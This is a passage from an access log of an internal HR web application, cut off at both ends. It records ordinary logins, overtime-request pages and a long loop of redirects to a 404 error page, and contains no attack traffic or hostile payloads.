Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:56 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:56 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:56 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:56 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:56 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:56 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:56 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:57 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:57 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:57 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:57 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:57 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:57 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:57 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:57 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:58 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:58 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:58 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:58 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:58 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:58 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:58 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:58 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:59 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:59 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:59 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:59 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:59 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:59 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:10:39 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:10:39 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.76 - - [04/Dec/2025:13:10:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:10:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:10:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:10:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.76 - - [04/Dec/2025:13:10:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:10:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.76 - - [04/Dec/2025:13:10:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:10:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.76 - - [04/Dec/2025:13:10:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:10:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.76 - - [04/Dec/2025:13:11:11 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.21823734120361293 HTTP/1.1" 200 8640 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:11:11 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.21823734120361293 HTTP/1.1" 200 8640 192.168.11.76 - - [04/Dec/2025:13:11:20 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.21823734120361293 HTTP/1.1" 200 14074 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.21823734120361293" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:11:20 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.21823734120361293 HTTP/1.1" 200 14074 192.168.11.76 - - [04/Dec/2025:13:11:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4713 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:11:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4713 192.168.11.76 - - [04/Dec/2025:13:11:55 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:11:55 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.76 - - [04/Dec/2025:13:11:57 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:11:57 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.76 - - [04/Dec/2025:13:12:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 192.168.11.76 - - [04/Dec/2025:13:12:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 13866 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 13866 192.168.11.76 - - [04/Dec/2025:13:12:15 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:15 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132728%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132728&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132728%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132728&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:16 +0800] "GET 